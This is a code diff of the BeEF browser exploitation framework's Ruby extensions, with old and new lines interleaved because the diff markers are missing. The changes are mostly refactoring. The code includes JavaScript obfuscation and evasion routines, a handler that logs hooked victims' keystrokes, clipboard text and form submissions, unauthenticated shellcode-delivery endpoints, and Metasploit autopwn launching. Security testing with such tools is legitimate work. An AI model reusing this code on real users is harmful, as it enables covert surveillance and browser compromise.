config.set("beef.extension.evasion.scramble.#{var}",mod_var)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
else
# Variables already scrambled, re-use the one already created to maintain consistency
@output.gsub!(var,value)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
end
@output
if var == value
# Variables have not been scrambled yet
mod_var = BeEF::Core::Crypto.random_alphanum_string(3)
@output.gsub!(var, mod_var)
config.set("beef.extension.evasion.scramble.#{var}", mod_var)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
else
# Variables already scrambled, re-use the one already created to maintain consistency
@output.gsub!(var, value)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
end
@output
end
if config.get('beef.extension.evasion.scramble_cookies')
# ideally this should not be static, but it's static in JS code, so fine for nowend
mod_cookie = BeEF::Core::Crypto::random_alphanum_string(5)
if config.get('beef.http.hook_session_name') == "BEEFHOOK"
@output.gsub!("BEEFHOOK",mod_cookie)
config.set('beef.http.hook_session_name',mod_cookie)
mod_cookie = BeEF::Core::Crypto.random_alphanum_string(5)
if config.get('beef.http.hook_session_name') == 'BEEFHOOK'
@output.gsub!('BEEFHOOK', mod_cookie)
config.set('beef.http.hook_session_name', mod_cookie)
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]"
else
@output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name'))
@output.gsub!('BEEFHOOK', config.get('beef.http.hook_session_name'))
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]"
end
end
@@ -51,4 +51,3 @@ module BeEF
end
end
end

View File

@@ -12,11 +12,10 @@ module BeEF
def need_bootstrap?
true
end
def get_bootstrap
# the decode function is in plain text - called IE-spacer - because trolling is always a good idea
decode_function =
"//Dirty IE6 whitespace bug hack
"//Dirty IE6 whitespace bug hack
if (typeof IE_spacer === 'function') {} else {
function IE_spacer(css_space) {
var spacer = '';
@@ -39,19 +38,18 @@ function IE_spacer(css_space) {
}}"
end
def execute(input, config)
def execute(input, _config)
size = input.length
encoded = encode(input)
var_name = BeEF::Core::Crypto::random_alphanum_string(3)
var_name = BeEF::Core::Crypto.random_alphanum_string(3)
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();"
print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced"
input
end
def encode(input)
output = input.unpack('B*')
output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
output
def encode(input)
output = input.unpack('B*')
output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
end
end
end

View File

@@ -4,33 +4,28 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Events
module Extension
module Events
module PostLoad
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
module PostLoad
def self.post_load
print_error 'Event Logger extension is not compatible with WebSockets command and control channel' if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
end
end
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
module RegisterHttpHandler
# Register API calls
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
def self.post_load
if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable")
print_error 'Event Logger extension is not compatible with WebSockets command and control channel'
#
# Mounts the http handlers for the events extension. We use that to retrieve stuff
# like keystroke, mouse clicks and form submission.
#
def self.mount_handler(beef_server)
beef_server.mount('/event', BeEF::Extension::Events::Handler)
end
end
end
end
module RegisterHttpHandler
# Register API calls
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
#
# Mounts the http handlers for the events extension. We use that to retrieve stuff
# like keystroke, mouse clicks and form submission.
#
def self.mount_handler(beef_server)
beef_server.mount('/event', BeEF::Extension::Events::Handler)
end
end
end
end
end

View File

@@ -4,19 +4,17 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Events
extend BeEF::API::Extension
@short_name = 'events_logger'
@full_name = 'events logger'
@description = 'registers mouse clicks, keystrokes, form submissions'
end
end
module Extension
module Events
extend BeEF::API::Extension
@short_name = 'events_logger'
@full_name = 'events logger'
@description = 'registers mouse clicks, keystrokes, form submissions'
end
end
end
require 'extensions/events/handler'

View File

@@ -4,85 +4,80 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Events
#
# The http handler that manages the Events.
#
class Handler
module Extension
module Events
#
# The http handler that manages the Events.
#
class Handler
Z = BeEF::Core::Models::HookedBrowser
Z = BeEF::Core::Models::HookedBrowser
def initialize(data)
@data = data
setup()
end
#
# Sets up event logging
#
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error "[EVENTS] beef_hook is null"
return
end
# validates that a hooked browser with the beef_hook token exists in the db
zombie = Z.where(:session => beef_hook).first || nil
if zombie.nil?
print_error "[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database"
return
end
events = @data['results']
# push events to logger
logger = BeEF::Core::Logger.instance
events.each do |value|
logger.register('Event', parse(value), zombie.id)
def initialize(data)
@data = data
setup
end
end
def parse(event)
case event['type']
when 'click'
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
when 'focus'
result = "#{event['time']}s - [Focus] Browser window has regained focus."
when 'copy'
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
when 'cut'
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
when 'paste'
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
when 'blur'
result = "#{event['time']}s - [Blur] Browser window has lost focus."
when 'console'
result = "#{event['time']}s - [Console] #{event['data']}"
when 'keys'
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
print_debug "EventData: #{event['data']}"
if event['mods'].size > 0
print_debug "Event has mods"
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
else
result = "#{event['time']}s - [User Typed] #{event['data']}"
#
# Sets up event logging
#
def setup
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error '[EVENTS] beef_hook is null'
return
end
when 'submit'
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
else
print_debug '[EVENTS] Event handler has received an unknown event'
result = "#{event['time']}s - Unknown event"
# validates that a hooked browser with the beef_hook token exists in the db
zombie = Z.where(session: beef_hook).first || nil
if zombie.nil?
print_error '[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database'
return
end
events = @data['results']
# push events to logger
logger = BeEF::Core::Logger.instance
events.each do |value|
logger.register('Event', parse(value), zombie.id)
end
end
def parse(event)
case event['type']
when 'click'
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
when 'focus'
result = "#{event['time']}s - [Focus] Browser window has regained focus."
when 'copy'
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
when 'cut'
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
when 'paste'
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
when 'blur'
result = "#{event['time']}s - [Blur] Browser window has lost focus."
when 'console'
result = "#{event['time']}s - [Console] #{event['data']}"
when 'keys'
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
print_debug "EventData: #{event['data']}"
if event['mods'].size.positive?
print_debug 'Event has mods'
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
else
result = "#{event['time']}s - [User Typed] #{event['data']}"
end
when 'submit'
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
else
print_debug '[EVENTS] Event handler has received an unknown event'
result = "#{event['time']}s - Unknown event"
end
result
end
end
result
end
end
end
end
end

View File

@@ -4,47 +4,38 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Extension
# TODO: remove it from here:
# Handlers
# require 'extensions/ipec/fingerprinter'
# require 'extensions/ipec/launcher'
require 'extensions/ipec/junk_calculator'
#todo remove it from here:
# Handlers
#require 'extensions/ipec/fingerprinter'
#require 'extensions/ipec/launcher'
require 'extensions/ipec/junk_calculator'
module Ipec
extend BeEF::API::Extension
module Ipec
extend BeEF::API::Extension
@short_name = 'Ipec'
@full_name = 'Inter-Protocol Exploitation'
@description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols."
@short_name = 'Ipec'
@full_name = 'Inter-Protocol Exploitation'
@description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols."
module RegisterIpecRestHandler
def self.mount_handler(server)
server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new)
module RegisterIpecRestHandler
def self.mount_handler(server)
server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new)
end
end
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
# TODO: remove it from here, and make it dynamic.
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator('imapeudora1')
end
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
#todo remove it from here, and make it dynamic.
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator("imapeudora1")
end
end
end
# Models
# todo: to be used when we'll have more IPEC exploits
#require 'extensions/ipec/models/ipec_exploits'
#require 'extensions/ipec/models/ipec_exploits_run'
# require 'extensions/ipec/models/ipec_exploits'
# require 'extensions/ipec/models/ipec_exploits_run'
# RESTful api endpoints
require 'extensions/ipec/rest/ipec'

View File

@@ -10,19 +10,18 @@ module BeEF
include Singleton
def initialize
@binded_sockets = {}
@host = BeEF::Core::Configuration.instance.get('beef.http.host')
@binded_sockets = {}
@host = BeEF::Core::Configuration.instance.get('beef.http.host')
end
def bind_junk_calculator(name)
port = 2000
#todo add binded ports to @binded_sockets. Increase +1 port number if already binded
#if @binded_sockets[port] != nil
#else
#end
# TODO: add binded ports to @binded_sockets. Increase +1 port number if already binded
# if @binded_sockets[port] != nil
# else
# end
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket(name, @host, port)
@binded_sockets[name] = port
end
end
end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core
module Models
class IpecExploits < BeEF::Core::Model
has_many :ipec_exploits_run
end
end
end
end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core
module Models
class IpecExploitsRun < BeEF::Core::Model
belongs_to :ipec_exploit
end
end
end
end

View File

@@ -8,13 +8,12 @@ module BeEF
module Extension
module Ipec
class IpecRest < BeEF::Core::Router::Router
before do
# NOTE: the method exposed by this class are NOT-AUTHENTICATED.
# They need to be called remotely from a hooked browser.
#error 401 unless params[:token] == config.get('beef.api_token')
#halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
# error 401 unless params[:token] == config.get('beef.api_token')
# halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -26,53 +25,45 @@ module BeEF
# See modules/exploits/beefbind/beef_bind_staged_deploy/command.js for more info.
# todo: the core of this method should be moved to ../junk_calculator.rb
get '/junk/:name' do
socket_name = params[:name]
halt 401 if not BeEF::Filters.alphanums_only?(socket_name)
socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name)
halt 404 if socket_data == nil
socket_name = params[:name]
halt 401 unless BeEF::Filters.alphanums_only?(socket_name)
socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name)
halt 404 if socket_data.nil?
if socket_data.include?("\r\n\r\n")
result = Hash.new
if socket_data.include?("\r\n\r\n")
result = {}
headers = socket_data.split("\r\n\r\n").first
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name)
print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes."
# CRLF -> 4 bytes
result['size'] = headers.size + 4
headers = socket_data.split("\r\n\r\n").first
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name)
print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes."
# CRLF -> 4 bytes
result['size'] = headers.size + 4
headers.split("\r\n").each do |line|
if line.include?("Host")
result['host'] = line.size + 2
end
if line.include?("Content-Type")
result['contenttype'] = line.size + 2
end
if line.include?("Referer")
result['referer'] = line.size + 2
end
end
result.to_json
else
print_error "[IPEC] Looks like there is no CRLF in the data received!"
halt 404
end
headers.split("\r\n").each do |line|
result['host'] = line.size + 2 if line.include?('Host')
result['contenttype'] = line.size + 2 if line.include?('Content-Type')
result['referer'] = line.size + 2 if line.include?('Referer')
end
result.to_json
else
print_error '[IPEC] Looks like there is no CRLF in the data received!'
halt 404
end
end
# The original Firefox Extension sources are in extensions/ipec/files/LinkTargetFinder dir.
# If you want to modify the pref.js file, do the following to re-pack the extension:
# $cd firefox_extension_directory
# $zip -r ../result-name.xpi *
get '/ff_extension' do
response['Content-Type'] = "application/x-xpinstall"
ff_extension = "#{File.expand_path('../../../ipec/files', __FILE__)}/LinkTargetFinder.xpi"
response['Content-Type'] = 'application/x-xpinstall'
ff_extension = "#{File.expand_path('../../ipec/files', __dir__)}/LinkTargetFinder.xpi"
print_info "[IPEC] Serving Firefox Extension: #{ff_extension}"
send_file "#{ff_extension}",
:type => 'application/x-xpinstall',
:disposition => 'inline'
send_file ff_extension.to_s,
type: 'application/x-xpinstall',
disposition: 'inline'
end
end
end
end
end
end

View File

@@ -55,7 +55,7 @@ module BeEF
m_details = msf.call('module.info', 'exploit', m)
next unless m_details
key = 'msf_' + m.split('/').last
key = "msf_#{m.split('/').last}"
# system currently doesn't support multilevel categories
# categories = ['Metasploit']
# m.split('/')[0...-1].each{|c|
@@ -75,6 +75,7 @@ module BeEF
elsif m_details['description'] =~ /Opera/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
end
# TODO:
# - Add support for detection of target OS
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
@@ -132,9 +133,7 @@ module BeEF
}
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
unless msf_payload_options
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
end
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
options
@@ -170,7 +169,7 @@ module BeEF
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
bopts << { sploit_url: uri }
c = BeEF::Core::Models::Command.new(
BeEF::Core::Models::Command.new(
data: bopts.to_json,
hooked_browser_id: hb.id,
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),

View File

@@ -113,7 +113,7 @@ module BeEF
# Raised when invalid JSON input is passed to an /api/msf handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'.freeze
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
@@ -122,7 +122,7 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/msf handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'.freeze
def initialize(message = nil)
str = 'Invalid "%s" parameter passed to /api/msf handler'

View File

@@ -102,7 +102,7 @@ module BeEF
sleep 1
code = http.head(path, headers).code.to_i
print_debug "[Metasploit] Success - HTTP response: #{code}"
rescue StandardError => e
rescue StandardError
retry if (retries -= 1).positive?
end
@@ -185,6 +185,9 @@ module BeEF
get_lock
res = call('module.info', 'exploit', name)
res || {}
rescue StandardError => e
print_error "Call module.info for module #{name} failed: #{e.message}"
{}
ensure
release_lock
end
@@ -193,6 +196,9 @@ module BeEF
get_lock
res = call('module.compatible_payloads', name)
res || {}
rescue StandardError => e
print_error "Call module.compatible_payloads for module #{name} failed: #{e.message}"
{}
ensure
release_lock
end
@@ -201,6 +207,9 @@ module BeEF
get_lock
res = call('module.options', 'exploit', name)
res || {}
rescue StandardError => e
print_error "Call module.options for module #{name} failed: #{e.message}"
{}
ensure
release_lock
end
@@ -211,6 +220,9 @@ module BeEF
return {} unless res || res['modules']
res['modules']
rescue StandardError => e
print_error "Call module.payloads failed: #{e.message}"
{}
ensure
release_lock
end
@@ -222,6 +234,7 @@ module BeEF
res
rescue StandardError => e
print_error "Call module.options for payload #{name} failed: #{e.message}"
{}
ensure
release_lock
@@ -234,7 +247,7 @@ module BeEF
res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}"
res
rescue StandardError => e
print_error "Exploit failed for #{exploit} \n"
print_error "Exploit failed for #{exploit}\n#{e.message}"
false
ensure
release_lock
@@ -248,7 +261,7 @@ module BeEF
get_lock
call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)
rescue StandardError => e
print_error 'Failed to launch autopwn'
print_error "Failed to launch browser_autopwn: #{e.message}"
false
ensure
release_lock

View File

@@ -10,7 +10,7 @@ module BeEF
# Table stores each host identified on the zombie browser's network(s)
#
class NetworkHost < BeEF::Core::Model
belongs_to :hooked_browser
belongs_to :hooked_browser
#
# Stores a network host in the data store

View File

@@ -10,8 +10,7 @@ module BeEF
# Table stores each open port identified on the zombie browser's network(s)
#
class NetworkService < BeEF::Core::Model
belongs_to :hooked_browser
belongs_to :hooked_browser
#
# Stores a network service in the data store
@@ -53,7 +52,7 @@ module BeEF
port: service[:port],
ntype: service[:ntype]
).length
return if total > 0
return if total.positive?
# store the returned network service details
network_service = BeEF::Core::Models::NetworkService.new(

View File

@@ -27,152 +27,140 @@ module BeEF
# Returns the entire list of network hosts for all zombies
get '/hosts' do
begin
hosts = @nh.all.distinct.order(:id)
count = hosts.length
hosts = @nh.all.distinct.order(:id)
count = hosts.length
result = {}
result[:count] = count
result[:hosts] = []
hosts.each do |host|
result[:hosts] << host.to_h
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving host list (#{e.message})"
halt 500
result = {}
result[:count] = count
result[:hosts] = []
hosts.each do |host|
result[:hosts] << host.to_h
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving host list (#{e.message})"
halt 500
end
# Returns the entire list of network services for all zombies
get '/services' do
begin
services = @ns.all.distinct.order(:id)
count = services.length
services = @ns.all.distinct.order(:id)
count = services.length
result = {}
result[:count] = count
result[:services] = []
services.each do |service|
result[:services] << service.to_h
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving service list (#{e.message})"
halt 500
result = {}
result[:count] = count
result[:services] = []
services.each do |service|
result[:services] << service.to_h
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving service list (#{e.message})"
halt 500
end
# Returns all hosts given a specific hooked browser id
get '/hosts/:id' do
begin
id = params[:id]
id = params[:id]
hooked_browser = @hb.where(session: id).distinct
hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser)
count = hosts.length
hooked_browser = @hb.where(session: id).distinct
hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser)
count = hosts.length
result = {}
result[:count] = count
result[:hosts] = []
hosts.each do |host|
result[:hosts] << host.to_h
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
halt 500
result = {}
result[:count] = count
result[:hosts] = []
hosts.each do |host|
result[:hosts] << host.to_h
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
halt 500
end
# Returns all services given a specific hooked browser id
get '/services/:id' do
begin
id = params[:id]
id = params[:id]
services = @ns.where(hooked_browser_id: id).distinct.order(:id)
count = services.length
services = @ns.where(hooked_browser_id: id).distinct.order(:id)
count = services.length
result = {}
result[:count] = count
result[:services] = []
services.each do |service|
result[:services] << service.to_h
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
halt 500
result = {}
result[:count] = count
result[:services] = []
services.each do |service|
result[:services] << service.to_h
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
halt 500
end
# Returns a specific host given its id
get '/host/:id' do
begin
id = params[:id]
id = params[:id]
host = @nh.find(id)
raise InvalidParamError, 'id' if host.nil?
halt 404 if host.nil?
host = @nh.find(id)
raise InvalidParamError, 'id' if host.nil?
host.to_h.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving host with id #{id} (#{e.message})"
halt 500
end
halt 404 if host.nil?
host.to_h.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving host with id #{id} (#{e.message})"
halt 500
end
# Deletes a specific host given its id
delete '/host/:id' do
begin
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
host = @nh.find(id)
halt 404 if host.nil?
host = @nh.find(id)
halt 404 if host.nil?
result = {}
result['success'] = @nh.delete(id)
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500
end
result = {}
result['success'] = @nh.delete(id)
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500
end
# Returns a specific service given its id
get '/service/:id' do
begin
id = params[:id]
id = params[:id]
service = @ns.find(id)
raise InvalidParamError, 'id' if service.nil?
halt 404 if service.empty?
service = @ns.find(id)
raise InvalidParamError, 'id' if service.nil?
service.to_h.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving service with id #{id} (#{e.message})"
halt 500
end
halt 404 if service.empty?
service.to_h.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving service with id #{id} (#{e.message})"
halt 500
end
# Raised when invalid JSON input is passed to an /api/network handler.

View File

@@ -8,43 +8,37 @@
require 'net/smtp'
module BeEF
module Extension
module Notifications
module Channels
class Email
module Extension
module Notifications
module Channels
class Email
#
# Constructor
#
def initialize(to_address, message)
@config = BeEF::Core::Configuration.instance
@from_address = @config.get('beef.extension.notifications.email.from_address')
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
#
# Constructor
#
def initialize(to_address, message)
@config = BeEF::Core::Configuration.instance
@from_address = @config.get('beef.extension.notifications.email.from_address')
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
# configure the email client
msg = "Subject: BeEF Notification\n\n" + message
smtp = Net::SMTP.new @smtp_host, @smtp_port
#if @smtp_tls_enable?
# smtp.enable_starttls
# smtp.start('beefproject.com', @from_address, @password, :login) do
# smtp.send_message(msg, @from_address, @to_address)
# end
#else
smtp.start do
smtp.send_message(msg, @from_address, to_address)
# configure the email client
msg = "Subject: BeEF Notification\n\n#{message}"
smtp = Net::SMTP.new @smtp_host, @smtp_port
# if @smtp_tls_enable?
# smtp.enable_starttls
# smtp.start('beefproject.com', @from_address, @password, :login) do
# smtp.send_message(msg, @from_address, @to_address)
# end
# else
smtp.start do
smtp.send_message(msg, @from_address, to_address)
end
# end
end
end
#end
end
end
end
end
end
end
end

View File

@@ -1,13 +1,11 @@
require 'rushover'
module BeEF
module Extension
module Notifications
module Channels
class Pushover
def initialize(message)
module Extension
module Notifications
module Channels
class Pushover
def initialize(message)
@config = BeEF::Core::Configuration.instance
# Configure the Pushover Client
@@ -15,12 +13,11 @@ module Channels
res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message)
print_error '[Notifications] Pushover notification failed' unless res.ok?
rescue => e
rescue StandardError => e
print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'"
end
end
end
end
end
end
end
end
end

View File

@@ -6,36 +6,36 @@
require 'slack-notifier'
module BeEF
module Extension
module Notifications
module Channels
module Extension
module Notifications
module Channels
class SlackWorkspace
def initialize(message)
@config = BeEF::Core::Configuration.instance
class SlackWorkspace
# Configure the Slack Client
webhook_url = @config.get('beef.extension.notifications.slack.webhook_url')
channel = @config.get('beef.extension.notifications.slack.channel')
username = @config.get('beef.extension.notifications.slack.username')
def initialize(message)
@config = BeEF::Core::Configuration.instance
if webhook_url.include?('your_webhook_url') || !webhook_url.start_with?('https://hook\.slack.com/services/')
print_error '[Notifications] Invalid Slack WebHook URL'
return
end
# Configure the Slack Client
webhook_url = @config.get('beef.extension.notifications.slack.webhook_url')
channel = @config.get('beef.extension.notifications.slack.channel')
username = @config.get('beef.extension.notifications.slack.username')
notifier = Slack::Notifier.new(
webhook_url,
channel: channel,
username: username,
http_options: { open_timeout: 10 }
)
if webhook_url =~ /your_webhook_url/ or webhook_url !~ %r{^https://hooks\.slack\.com\/services\/}
print_error '[Notifications] Invalid Slack WebHook URL'
return
notifier.ping message
rescue StandardError => e
print_error "[Notifications] Slack notification initialization failed: #{e.message}"
end
end
end
notifier = Slack::Notifier.new webhook_url,
channel: channel,
username: username,
http_options: { open_timeout: 10 }
notifier.ping message
rescue => e
print_error "[Notifications] Slack notification initialization failed: #{e.message}"
end
end
end
end
end
end

View File

@@ -8,36 +8,32 @@
require 'twitter'
module BeEF
module Extension
module Notifications
module Channels
class Tweet
module Extension
module Notifications
module Channels
class Tweet
#
# Constructor
#
def initialize(username, message)
@config = BeEF::Core::Configuration.instance
#
# Constructor
#
def initialize(username, message)
@config = BeEF::Core::Configuration.instance
# configure the Twitter client
client = Twitter::REST::Client.new do |config|
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
end
# configure the Twitter client
client = Twitter::REST::Client.new do |config|
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
end
begin
client.direct_message_create(username, message)
rescue
print_error "Twitter send failed, verify tokens have Read/Write/DM acceess..."
begin
client.direct_message_create(username, message)
rescue StandardError
print_error 'Twitter send failed, verify tokens have Read/Write/DM acceess...'
end
end
end
end
end
end
end
end
end
end

View File

@@ -4,17 +4,15 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Notifications
extend BeEF::API::Extension
@short_name = 'notifications'
@full_name = 'Notifications'
@description = 'Generates external notifications for events in BeEF'
end
end
module Extension
module Notifications
extend BeEF::API::Extension
@short_name = 'notifications'
@full_name = 'Notifications'
@description = 'Generates external notifications for events in BeEF'
end
end
end
require 'extensions/notifications/notifications'

View File

@@ -10,49 +10,38 @@ require 'extensions/notifications/channels/pushover'
require 'extensions/notifications/channels/slack_workspace'
module BeEF
module Extension
module Notifications
module Extension
module Notifications
#
# Notifications class
#
class Notifications
def initialize(from, event, time_now, hb)
@config = BeEF::Core::Configuration.instance
return unless @config.get('beef.extension.notifications.enable')
#
# Notifications class
#
class Notifications
@from = from
@event = event
@time_now = time_now
@hb = hb
def initialize(from, event, time_now, hb)
@config = BeEF::Core::Configuration.instance
if @config.get('beef.extension.notifications.enable') == false
# notifications are not enabled
return nil
else
@from = from
@event = event
@time_now = time_now
@hb = hb
end
message = "#{from} #{event} #{time_now} #{hb}"
message = "#{from} #{event} #{time_now} #{hb}"
if @config.get('beef.extension.notifications.twitter.enable') == true
username = @config.get('beef.extension.notifications.twitter.target_username')
BeEF::Extension::Notifications::Channels::Tweet.new(username, message)
end
if @config.get('beef.extension.notifications.twitter.enable') == true
username = @config.get('beef.extension.notifications.twitter.target_username')
BeEF::Extension::Notifications::Channels::Tweet.new(username,message)
end
if @config.get('beef.extension.notifications.email.enable') == true
to_address = @config.get('beef.extension.notifications.email.to_address')
BeEF::Extension::Notifications::Channels::Email.new(to_address, message)
end
if @config.get('beef.extension.notifications.email.enable') == true
to_address = @config.get('beef.extension.notifications.email.to_address')
BeEF::Extension::Notifications::Channels::Email.new(to_address,message)
end
BeEF::Extension::Notifications::Channels::Pushover.new(message) if @config.get('beef.extension.notifications.pushover.enable') == true
if @config.get('beef.extension.notifications.pushover.enable') == true
